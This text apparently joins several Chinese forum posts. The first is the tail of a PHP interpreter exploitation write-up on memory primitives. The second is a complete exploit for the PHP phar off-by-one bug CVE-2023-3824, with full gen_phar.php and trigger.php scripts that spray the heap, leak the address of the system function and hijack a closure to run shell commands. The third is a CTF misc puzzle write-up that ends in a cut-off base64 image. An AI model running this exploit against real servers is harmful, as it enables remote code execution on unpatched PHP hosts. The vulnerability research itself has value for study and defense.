0x07 获取一块内存目前我们有string : "100"的地址str100_addr,我们先来看一下string : "100"的memory layout:
string : "100" ┌────────────────────────┐ │ 0x0000001600000001 │gc_info fake_string──►├────────────────────────┤ │ 0x0000000000000000 │hash ├────────────────────────┤ │ 0x0000000000000003 │len ├────────────────────────┤ fake_len─────►│ 0x00007fff00303031 │content ├────────────────────────┤ │ │ └────────────────────────┘在content这里的0x303031其实对应字符串"100"。试想,我们如果利用fakeZval原语构造一个zval, 让它的类型为string,让它的值指向str100_addr + 0x8,即上图的fake_string处的位置。从fake_string开始,我们构造了一个新的string, 它的长度为0x00007fff00303031。其中出现的7fff是堆上的一些随机数据,这里的0x303031它是大于一个PHP中memory chunk的容量0x200000的,以至于这个fake_string能盖住整个memory chunk,这就是我之前用int : (100)的原因。
我们的想法是,我能不能利用这个fake_string读到内存后面的内容? 那么我需要拿到这个fake_string,如下:
reset_victim_arr_and_user_str(); set_error_handler(function() { // resize global $victim_arr; global $user_str_length; global $user_str; global $first_elem_offset; global $zend_string_header; global $str100_addr; $victim_arr['a9'] = 1; $user_str = str_repeat('b', $user_str_length); // construct fake zval that contains a fake zend_string; // 1. zval.value.str <= $leak_addr + 0x8; // 2. zval.u1.type_info <= is_string_ex == (6 | (1 << 8)); writestr64($user_str, $first_elem_offset - $zend_string_header, $str100_addr + 0x8); writestr64($user_str, $first_elem_offset - $zend_string_header + 0x8, (6 | (1 << 8))); }); $heap = $victim_arr['a1'] .= $undef_var;我们可以通过读取$heap来漫游PHP堆上的内容。这不算完,我们还可以修改$heap对应fake_string的内容,但不会触发copy-on-write。不会触发copy-on-write是这里最关键的。按道理,$heap hold了array assign的计算结果,即为fake_string,那么fake_string的引用计数是需要加1的,如果fake_string的引用计数大于1,在我们修改$heap的时候,就会发生copy-on-write,造成我们根本修改不到fake_string上的内容。再退一步说,我们可能会在copy-on-write的时候会导致PHP直接结束,因为fake_string的size可能会很大,你要拷贝一份fake_string显然就会失败,比如参考前面的0x00007fff00303031。
那么这里为什么不会发生copy-on-write,我们看fake_string的gc_info,它的值是原来string : "100"的hash,即为0x00。而PHP检查一个值是不是refcounted,就会检查gc_info是不是不为0x00。这就意味着PHP认为fake_string不是refcounted,即不是gc关注的对象。意味着array assign计算结果也不是refcounted,那么这里根本就不存在什么copy-on-write。以为copy-on-write只针对refcounted values。
0x08 构造addressOf现在我们就有一个可读可写,并且我们知道它位置的内存。实际做到一步,我们已经可以停手了。比如像[5]中的利用方式一样:
在第一版exploitation我是这样的利用的。但是这里还是有很多不确定性,比如我们喷射的内存结构不在我们可以漫游的memory chunk中,就可能会失败。这时候我们需要重新调整fake_string的位置,比如先喷射大量的string : "100",让我们迁移到全新的memory chunk上。
没人喜欢不确定性,我也一样。这里我们来构造一个更加稳定的addressOf来帮助我们定位想要的内存结构位置。比如
$num = 1111; $num_value = addressOf($num); $str = "aaaaaaa"; $str_addr = addressOf($func); $obj = new stdClass(); $obj_addr = addressOf($obj);它有如下功能 :
我们的想法是在前面这块内存上布置一个array : [0, 1, 2, 3, 4, 5, 6, 7] 。如下
array : [0, 1, 2, 3, 4, 5, 6, 7] ┌───────────────┐ │packed_arr_flag│ butterfly ├───────────────┤ ┌────────────────┐ │ ... │ │ invalid_idx │ │ ... │ ├────────────────┤ ├───────────────┤ │ invalid_idx │ │ arData ├─────────────────►├────────────────┤ ├───────────────┤ │ bucket0 │ │ ... │ ├────────────────┤ │ ... │ │ ... │ │ │ ├────────────────┤ │ │ │ bucket7 │ │ │ └────────────────┘ └───────────────┘我们的想法:
需要注意的是,在free一个小内存的时候,PHP是先定位它所在page,来判定它属于什么size的bin,再投放正确的到free_list上。所以你构造fake array的位置要确定好。如果你想绕过这个限制,你可以申请一块超大内存,来自己伪造memory chunk,具体可以参考[16]。
0x09 任意读/写原语我目光对准了php://memory[15],PHP运行我们以文件操作的形式操作一块内存。控制这块内存大小的结构为,
typedef struct { char *data; size_t fpos; size_t fsize; size_t smax; int mode; } php_stream_memory_data;我们的想法:
同样地,要注意释放string所在的page。
0x0A 完整的利用暂时不提供,因为影响比较大,且没有修复。
0x0B 总结我们分析了PHP IR中存在的问题,以及为什么长时间没有被修复,最后提出了一个修复建议。写下了我在探索这个问题时,给过我帮助的3只蝴蝶。最后给大家分享了我的利用方式,将JS引擎利用中的常见原语尝试搬到了PHP上。当走出了误区之后,在构造exploitation过程中诞生了许多ideas,实际这不是一个特别难的利用,只是我比较笨而已。我觉得不同解释器或者编译器的利用中都有很多相同点,可以相互借鉴学习,也许能帮你找到更多的思路。
最后,题目中的"PHP之殇",更多是对过去的一种告别,未来我会更多关注PHP中可能马上会release的新的JIT complier,希望在未来给大家带来我关于它的一些有趣的故事。
0x0C 引用1 个帖子 - 1 位参与者
前天看见了一个新闻[1], 英国国家打击犯罪局(NCA)、美国联邦调查局(FBI)、欧洲刑警组织等执法部门宣称联合捣毁了世界上最大的网络犯罪集团LockBit. 这里面提到了这些执法机构利用了一个PHP漏洞 (CVE-2023-3824) , 这引起了我的兴趣. 为啥执法机构会暴露这些细节呢? 查了一下, 原来是该犯罪团伙负责人自己说的, 他也只怪自己没有及时地更新PHP .
简略分析简单搜索了一下, 没有找到关于它的利用方式, 那只能咱亲自冻手了. 首先发现PHP官方Repo已经收录了这个安全问题[2], PHP官方对此评价为"Exploiting this is difficult to do".
其问题出现在函数phar_dir_read at ext/phar/dirstream.c. 关于这个函数写的怎么样, 咱只能说一言难尽.
static ssize_t phar_dir_read(php_stream *stream, char *buf, size_t count) /* {{{ */ { size_t to_read; HashTable *data = (HashTable *)stream->abstract; zend_string *str_key; zend_ulong unused; if (HASH_KEY_NON_EXISTENT == zend_hash_get_current_key(data, &str_key, &unused)) { return 0; } zend_hash_move_forward(data); to_read = MIN(ZSTR_LEN(str_key), count); if (to_read == 0 || count < ZSTR_LEN(str_key)) { return 0; } memset(buf, 0, sizeof(php_stream_dirent)); memcpy(((php_stream_dirent *) buf)->d_name, ZSTR_VAL(str_key), to_read); ((php_stream_dirent *) buf)->d_name[to_read + 1] = '\0'; return sizeof(php_stream_dirent); }这个函数用于phar://协议下读取文件夹中的内容. 这段代码出现的一些问题:
经典的Off-by-one, 这让我想到了著名的CVE-2019-11043[4], 值得一试.
找利用点根据buf所处的位置, 可以营造stack overflow和heap overflow, 进而有两种不同的利用方式. 根据常识利用Off-by-one关键是memory layout. 简要搜索一下, 有几个地方可以操作上述函数:
buf在stack上:
buf在heap上:
因为绕不过canary, 所以直接将stack overflow排除了, 只剩下了heap overflow.
Heap overflow上述4个类都是PHP标准库中操作文件夹的相关设施, 位于ext/spl/spl_directory.c. 它们底层都涉及一个比较关键的结构_spl_filesystem_object如下, 我略去了该结构中不太重要的字段.
struct _spl_filesystem_object { // ... union { struct { php_stream *dirp; php_stream_dirent entry; // overflow here char *sub_path; size_t sub_path_len; // ... } dir; // ... } u; // ... };其中_spl_filesystem_object.u.dir.entry就是上述4个类在操作文件夹时buf所处的位置. 可以看到其后面紧跟着一个sub_path字段, 配合sub_path_len, 不难看出这里是一个binary-safe string结构. 试想如果利用overflow把sub_path某个字节覆写掉, 肯定可以带来一些新的契机. 这也是文章标题称之为《幸运的Off-by-one》.
Spl_filesystem_object is the key这里我们首先需要知道一些关于spl_filesystem_object.u.dir.entry和spl_filesystem_object.u.dir.sub_path的操作.
**更新 u.dir.entry **: 由这个函数可以触发overflow. 通过检查引用这个函数的地方, 看起来我们只需要拨动相关的Iterator即可触发这个函数.
// ext/spl/spl_directory.c: 236 static int spl_filesystem_dir_read(spl_filesystem_object *intern) /* {{{ */ { if (!intern->u.dir.dirp || !php_stream_readdir(intern->u.dir.dirp, &intern->u.dir.entry)) { intern->u.dir.entry.d_name[0] = '\0'; return 0; } else { return 1; } }读取 u.dir.sub_path : 通过调用RecursiveDirectoryIterator->getSubPath即可
// ext/spl/spl_directory.c: 1530 PHP_METHOD(RecursiveDirectoryIterator, getSubPath) { spl_filesystem_object *intern = Z_SPLFILESYSTEM_P(ZEND_THIS); if (zend_parse_parameters_none() == FAILURE) { RETURN_THROWS(); } if (intern->u.dir.sub_path) { RETURN_STRINGL(intern->u.dir.sub_path, intern->u.dir.sub_path_len); } else { RETURN_EMPTY_STRING(); } }写入 u.dir.sub_path: 通过调用RecursiveDirectoryIterator->getChildren即可
// ext/spl/spl_directory.c: 1494 PHP_METHOD(RecursiveDirectoryIterator, getChildren) { // ... if (subdir) { // 如果current directory也存在sub_path, 那么children的sub_path应为 parent_sub_path + parent_directory_name if (intern->u.dir.sub_path && intern->u.dir.sub_path[0]) { subdir->u.dir.sub_path_len = spprintf(&subdir->u.dir.sub_path, 0, "%s%c%s", intern->u.dir.sub_path, slash, intern->u.dir.entry.d_name); } else { // 反之, 此时children的sub_path应为parent_directory_name subdir->u.dir.sub_path_len = strlen(intern->u.dir.entry.d_name); subdir->u.dir.sub_path = estrndup(intern->u.dir.entry.d_name, subdir->u.dir.sub_path_len); } subdir->info_class = intern->info_class; subdir->file_class = intern->file_class; subdir->oth = intern->oth; } }释放 u.dir.sub_path: 通过调用unset($obj)即可.
// static void spl_filesystem_object_free_storage(zend_object *object) /* {{{ */ { ... case SPL_FS_DIR: if (intern->u.dir.sub_path) { efree(intern->u.dir.sub_path); } break; ... } conditional read 和 conditional write 原语这里我们没有任意读/写两个原语, 只有有条件的读/写.
conditional read
conditional write (UAF)
举个例子, 在conditional read中, 如果sub_path指向形如0xdeadbeef的地址, 那么我们只能读0xdead00ef处的内容. 意味着需要读取的内存结构需要落在它的附近. 这里有两个难点:
如何让需要被写入或者被读入的内存结构落在拥有形如00xx前缀的地址上?
如何使得被改写的sub_path刚好指向拥有00xx前缀的地址上 ?
在处理这两个问题之前, 我们需要熟悉一下PHP的内存管理.
增强 conditional read
对于第一个问题, 我们可以在heap上放置大量连续的相关内存结构, 这依赖于PHP独特的内存管理. 例如在conditional read中, 我们需要读取zend_closure中的closure_handlders值, 其中sizeof(zend_closure) == 320. 如果我们考虑用它将一个memory chunk填满, 可以利用的相关地址前置有.
<?php $a = 320; for (;$a < 0x200000; $a += 320) { if ((($a >> 8) & 0xff) == 0) { echo dechex($a)."\n"; } } /* 10040,20080,300c0,50000,60040,70080,800c0,a0000,b0040,c0080,d00c0,f0000,100040,110080,1200c0,140000,150040,160080,1700c0,190000,1a0040,1b0080,1c00c0,1e0000,1f0040 */如果0x10040可控, 那么0x10040和0x20080之间就有51个bins可以用.
<?php $a = 0x10040; $i = 0; while ($a < 0x20080) { $a += 320; if (($a & 0xff) == 0x40) { echo dechex($a)."\n"; $i++; } $j++; } echo $i;换言之只要让sub_path指向到这51中的其中一个就可以了. 其中0x10040和0x20080之间有205这样的bins, 这样我们有1/4的概率让sub_path指向正确的地方. 再换言之, 我们平均只需要尝试4次, 就可以做到, 事实也是如此. 这也是解决第二问题的方法.
所以比较在意是拿到形如10040, 20080, 300c0... 这其中的一个. 比较好的想法是我们最好的新的chunk上进行操作, 这样避免了之前memory layout对我们的影响. 那最好的想法就是连续申请超过一个chunk的相关内存结构. 这样我们总可以落在新的chunk上, 并且是一定大概率覆盖上述地址. 比如这里我们需要申请超过0x1999个zend_closure个, 在利用中我使用了2024 (毕竟今年是2024 嘿嘿).
增强 conditional write
对于第一个问题, 我们同样在heap上放置大量我们可控的内存结构. 而对于第二个问题, 我们同样进行多次尝试. 这里有一个特别的是, 第二个问题解决方案中的多次尝试是确定性的. 因为heap上的内存结构我们可控, 使得我们可以在指定的位置上放置特定的内容来帮助我们判定sub_path有没有指向正确的位置. 比如我们希望sub_path正好落在地址0x10040上, 其中0x10040是我们可控的. 我们可以在0x10040处写入指定的字符串, 在进行UAF之前, 我们通过读取sub_path的内容, 来确保sub_path是指向正确的.
利用细节大致路线:
构造恶意的phar
其中phar文件结构如下, 命名为m2.phar.
├── CCCCCCC...CCC├ ├── AAAA...AAA ├── BBBBBB...BBBBB触发overflow
我们通过以下代码来触发overflow
$it = new RecursiveDirectoryIterator("phar://./m2.phar"); // 定位到`CCCCCCC...CCC`文件夹 foreach ($it as $file) { if($file->isDir()) { break; } } // 创建关于`CCCCCCC...CCC`的RecursiveDirectoryIterator, 其sub_path被初始化为`CCCCCCC...CCC`, 长度为320. $sub_it = $it->getChildren(); // 读取`CCCCCCC...CCC`中文件, 读取到`BBBBBB...BBBBB`时, 触发overflow, 将sub_path第2个字节写NULL. foreach($sub_it as $file) {}泄露system函数地址
这里我们还是老手法, 利用zend_closure.std.zend_object_handlers 位于(Zend/zend_closures.c: 36) 来泄露closure_handlers (位于 Zend/zend_closures.c:46) 的地址.
其中zend_closure通过创建闭包函数来生成, 即我们通过生成大量的闭包函数来填充heap.
$f_arr = []; for ($i = 0; $i < 0x2024; $i++) { $f_arr[$i] = function(){}; }然后我们不断修改sub_path让其正好落在我们的申请某个zend_closure开头, 平均4次即可.
while (1) { $it = create_RDI(); $sub_it = $it->getChildren(); // preserve every iterator to avoid double freeing on sub_path $it_arr[] = $sub_it; // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); // refcounted && is_object, zend_closure本身也是一个zend_object, 其鉴别方式为首8字节为0x800000001 if (read64($data, 0) == 0x800000001) { $closure_handlers = read64($data, 0x18); break; } }拿到了closure_handlers加上相关偏移地址, 我们就可以拿到zif_system的地址.
修改闭包函数
首先我们需要在heap上布置可控的内存结构
$str_arr = []; for ($i = 0; $i < 0x2024; $i++) { $str_arr[$i] = str_repeat('E', 0x140 - 0x20); // 作为sub_path是否指向正确位置的unique identifier. $str_arr[$i][0] = "I"; $str_arr[$i][1] = "L"; $str_arr[$i][2] = "I"; $str_arr[$i][3] = "K"; $str_arr[$i][4] = "E"; $str_arr[$i][5] = "P"; $str_arr[$i][6] = "H"; $str_arr[$i][7] = "P"; }依然是不断修改sub_path让其正好落在我们的申请某个zend_string开头,
while (1) { // init sub_path $it = create_RDI(); $sub_it = $it->getChildren(); // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); if (substr($data, 0x18, 8) == "ILIKEPHP") { // trigger UAF unset($sub_it); $f = function(){}; break; } else { // prevent double freeing $it_arr[] = $sub_it; } }然后修改我们可控的zend_string结构, 达到修改闭包函数的任务
for ($i = 0; $i < 0x2024; $i++) { // 1. function type: internal function // zend_closure.function.internal_function.type = 0x38 // zend_string_header = 0x18 write8($str_arr[$i], 0x38 - 0x18, 0); // 2. function handler: zif_system // zend_closure.function.internal_function.handler = 0x70 // zend_string_header = 0x18 write64($str_arr[$i], 0x70 - 0x18, $zif_system); } 完整的Exploitation位于[3].
PHP版本commit: be71cadc2f899bc39fe27098042139392e2187db
编译选项: ./configure --disable-all --enable-phar
gen_phar.php
<?php if (file_exists("m2.phar")) { unlink("m2.phar"); } $phar = new Phar('m2.phar'); // size of target UAF bin is the size of zend_closure $dir_name = str_repeat('C', 0x140 - 0x1); $file_4096 = str_repeat('A', PHP_MAXPATHLEN - 1).'B'; // create an empty directory $phar->addEmptyDir($dir_name); // create normal one $phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', 32), 'This is the content of the file.'); // trigger overflow $phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');trigger.php
<?php // zif_system_offset - closure_handlers_offset $zif_system_offset = -0x8a1390; $it_arr = array(); $zif_system = leak_zif_system_addr(); echo "[*] zif_system address: 0x". dechex($zif_system). "\n"; trigger_UAF($zif_system); function create_RDI() { $it = new RecursiveDirectoryIterator("phar://./m2.phar"); // find the first directory foreach ($it as $file) { // echo $file . "\n"; if($file->isDir()) { break; } } return $it; } function leak_zif_system_addr() { global $zif_system_offset; global $it_arr; // fill memory chunk with lots of zend_closures; $f_arr = []; for ($i = 0; $i < 0x2024; $i++) { $f_arr[$i] = function(){}; } // find zend_closure $closure_handlers = 0; while (1) { $it = create_RDI(); $sub_it = $it->getChildren(); // preserve every iterator to avoid double freeing on sub_path $it_arr[] = $sub_it; // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); // refcounted && is_object if (read64($data, 0) == 0x800000001) { $closure_handlers = read64($data, 0x18); break; } } if ($closure_handlers == 0) { exit("bad closure handlers\n"); } return $closure_handlers + $zif_system_offset; } function trigger_UAF($zif_system) { global $it_arr; // fill memory chunk with lots of 0x140-size strings, // ensure address of some strings that are exactly starting with prefix 0040 or 0080. $str_arr = []; for ($i = 0; $i < 0x2024; $i++) { $str_arr[$i] = str_repeat('E', 0x140 - 0x20); $str_arr[$i][0] = "I"; $str_arr[$i][1] = "L"; $str_arr[$i][2] = "I"; $str_arr[$i][3] = "K"; $str_arr[$i][4] = "E"; $str_arr[$i][5] = "P"; $str_arr[$i][6] = "H"; $str_arr[$i][7] = "P"; } $f = NULL; while (1) { // init sub_path $it = create_RDI(); $sub_it = $it->getChildren(); // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); if (substr($data, 0x18, 8) == "ILIKEPHP") { // trigger UAF unset($sub_it); $f = function(){}; break; } else { // prevent double freeing $it_arr[] = $sub_it; } } // modify closure // 1. function type: internal function // 2. function handler: zif_system for ($i = 0; $i < 0x2024; $i++) { // 1. function type: internal function // zend_closure.function.internal_function.type = 0x38 // zend_string_header = 0x18 write8($str_arr[$i], 0x38 - 0x18, 0); // 2. function handler: zif_system // zend_closure.function.internal_function.handler = 0x70 // zend_string_header = 0x18 write64($str_arr[$i], 0x70 - 0x18, $zif_system); } $f('uname -an'); } function read64($str, $p) { $v = 0; $v |= ord($str[$p + 0]); $v |= ord($str[$p + 1]) << 8; $v |= ord($str[$p + 2]) << 16; $v |= ord($str[$p + 3]) << 24; $v |= ord($str[$p + 4]) << 32; $v |= ord($str[$p + 5]) << 40; $v |= ord($str[$p + 6]) << 48; $v |= ord($str[$p + 7]) << 56; return $v; } function write8(&$str, $p, $v){ $str[$p] = chr($v & 0xff); } function write64(&$str, $p, $v) { $str[$p + 0] = chr($v & 0xff); $v >>= 8; $str[$p + 1] = chr($v & 0xff); $v >>= 8; $str[$p + 2] = chr($v & 0xff); $v >>= 8; $str[$p + 3] = chr($v & 0xff); $v >>= 8; $str[$p + 4] = chr($v & 0xff); $v >>= 8; $str[$p + 5] = chr($v & 0xff); $v >>= 8; $str[$p + 6] = chr($v & 0xff); $v >>= 8; $str[$p + 7] = chr($v & 0xff); } 引用2 个帖子 - 2 位参与者
1、0和255
首先给出了两个文件image_list.txt和image_list.py
python文件代码
它将一个flag图片按像素读取,范围0-255,生成列表,即image_list.txt。
exp很简单,就将list中的值按像素点填回去,得到png文件,点击得到二维码
扫描二维码得到Polar_Night
根据题目要求再将其进行md5加密(有大写和小写两种),套上flag测试
2、01
与第一题类似,给出了一个flag.zip但是加密了,要密码,在hint提示中给出了25*25的01矩阵,想到把1看做0,把0看做255(这个想法是试用了1看做255,0看做0后失败了,所以反过来试一试),套用上一题的exp代码,得到二维码图片
扫描得到p@ssw0rd!
输入得到一个txt文件,里面是喵言喵语,第一感觉是西电2023招新赛的喵言喵语,但是发现不止2种形式,所以试一试兽语加密解密,得到flag
3、100RGB
题目内容由一行行Emoji表情 组成。
Emoji解密得到:
82,71,66102,108,97103,123,65110,49,10997,49,11532,95,97114,51,9599,117,43101,125,0
根据ASCII码可得到真实的ASCII码。
82 71 66 102 108 97 103 123 65 110 49 109 97 49 115 32 95 97 114 51 95 99 117 43 101 125
把RGB去掉,得到flag
4. 二维码
下载拿到png文件,不能打开,用010打开得到了
data:image/png;base64,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